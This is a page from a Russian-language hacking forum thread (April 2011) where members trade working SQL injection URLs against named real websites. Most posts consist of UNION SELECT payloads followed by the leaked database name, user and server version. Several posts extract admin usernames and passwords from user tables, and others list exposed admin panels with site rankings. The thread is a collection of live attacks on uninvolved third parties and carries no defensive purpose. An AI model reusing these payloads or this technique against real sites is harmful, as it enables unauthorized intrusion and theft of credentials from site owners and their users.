SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.hispanicheritage.org/press_news.php?id=-180+union+select+1,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,3,4--
    hispanj6_hhawards:5.1.47-community-log:hispanj6_hhf2@localhost
     
  2. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    ТИЦ 60

    Code:
    http://www.avsshop.ru/index.php?idtov=871291+and+1=2+union+select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,2--+
    5.1.50-log:[email protected]:u278685_2


    p.s. "Маленький" облом на Админке ;)
     
  3. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    4.1.24-max-log

    http://www.mckn.ru/admin/
    4.1.11-Debian_4sarge5-log
    тиц 120 pr 2

    http://objavlenij.net/Admin/
    5.0.92-community-log

    http://www.prodamzoo.ru//Admin/
    5.0.77-log
     
    #13743 stepashka_, 10 Apr 2011
    Last edited: 10 Apr 2011
    1 person likes this.
  4. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Indonesian Mining Association

    [​IMG]



    http://www.ima-api.com/about.php?act=detail&id=-93+union+select+1,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9+--+

    5.0.27-standard:u6183_imaAPI09@localhost:u6183_imaAPI09: pc-linux-gnu.


    http://www.ima-api.com/about.php?act=detail&id=-93+union+select+1,concat_ws(0x3a,name, passwd),3,4,5,6,7,8,9+from+tbuser+--+

    PR 4
     
    #13744 ubi, 10 Apr 2011
    Last edited: 10 Apr 2011
  5. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.galoshishoes.ru/katalog.php?id=-20+union+select+1,2,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,4,5,6,7,8--

    b55136:5.0.90:[email protected]
     
  6. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Вопрос по поводу иньекции:
    А когда добавляю ещё одно поле, то выдаёт:
    Количество полей получается подобрал? Но как действовать тут дальше?
     
  7. bloodAngel

    bloodAngel Banned

    Joined:
    29 Jun 2007
    Messages:
    22
    Likes Received:
    25
    Reputations:
    -1
    делай вывод через помилку, сайт в студию)
     
  8. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Всё допилил, спасибо за ответ :)
     
  9. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Сори ошибся топиком =\
     
    #13749 SergioBlog, 10 Apr 2011
    Last edited: 10 Apr 2011
  10. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    http://www.biznes-navigator.ru/Admin/
    5.0.91-community

    4.1.25-log
     
    #13750 stepashka_, 10 Apr 2011
    Last edited: 10 Apr 2011
    1 person likes this.
  11. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.gisupport.ru/info.php?id=-12+union+select+1,2,3,4,5,6,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,8,9,10,11,12--

    compnn_test:5.0.90-log:compnn_test@localhost
     
    1 person likes this.
  12. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    http://www.landlords.ru/fullnews.php?id=-100+union+select+1,group_concat%28username,char%2858%29,password%29,3,4,5+from+admin%20--
    idinahuihakergolimiy :D
    уже кто-то здесь побывал)
     
  13. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    Авто-Старт официальный дилер

    ТИЦ - 325

    Code:
    http://www.autoexpres.ru/cars1.php?mode=card&p=0&sort=0&updown=0&foto=1&id=-23427+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,39,40,41,42,43,44,45,46,47,48,49,50,51,52--
    5.1.46:admin_expres@localhost:admin_expres

    52 колонки, пипец :D
     
    2 people like this.
  14. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    4.1.25-log
    тиц 20

    4.1.25-log
    тиц 40
     
    #13754 stepashka_, 10 Apr 2011
    Last edited: 10 Apr 2011
    2 people like this.
  15. IScript

    IScript Banned

    Joined:
    5 Apr 2011
    Messages:
    13
    Likes Received:
    1
    Reputations:
    -5
    http://www.sozdanie.com/index.php?date='2705.04.11
    Вот удалось найти уязвимость!
     
  16. Amoura

    Amoura Elder - Старейшина

    Joined:
    23 Jan 2008
    Messages:
    237
    Likes Received:
    148
    Reputations:
    46
    Code:
    http://www.yotaservis.ru/goods.php?id=43+union+select+1,2,3,4,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,6,7,8,9,10--
    db8508a:5.1.54-log:[email protected]


    Code:
    http://ctdcom.ru/dizpr.php?id=1+union+select+1,2,3,4,5,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29--
    u0735336_std:5.5.9:u0735336_stdcom@localhost
     
    #13756 Amoura, 10 Apr 2011
    Last edited: 11 Apr 2011
    2 people like this.
  17. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    2.

    Инъекции вида:

    Code:
    http://site.ru/index.php?a='
    будут удаляться.

    http://www.sozdanie.com/index.php?date=2705.04.11'+union+select+1,version(),3,4,5,6,7,8,9,0,11/*
     
  18. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    mrinstrum_board3@localhost:mrinstrum_board3:5.0.26-log
    тиц 10
     
    2 people like this.
  19. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    Universidad Blas Pascal : PR - 6
    Эксплойт
    DB VERSION:4.1.11-Debian_4sarge7-log
    DB NAME: UBPSITE
    USERNAME: ubpsite@localhost
     
  20. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    http://www.kylincorp.com/en/pview.php?id=-646+union+select+1,concat_ws(0x3a,USER(),DATABASE(),VERSION()),3,4,5,6,7,8,9,10,11,12,13,14,15+--+
     
    2 people like this.
Thread Status:
Not open for further replies.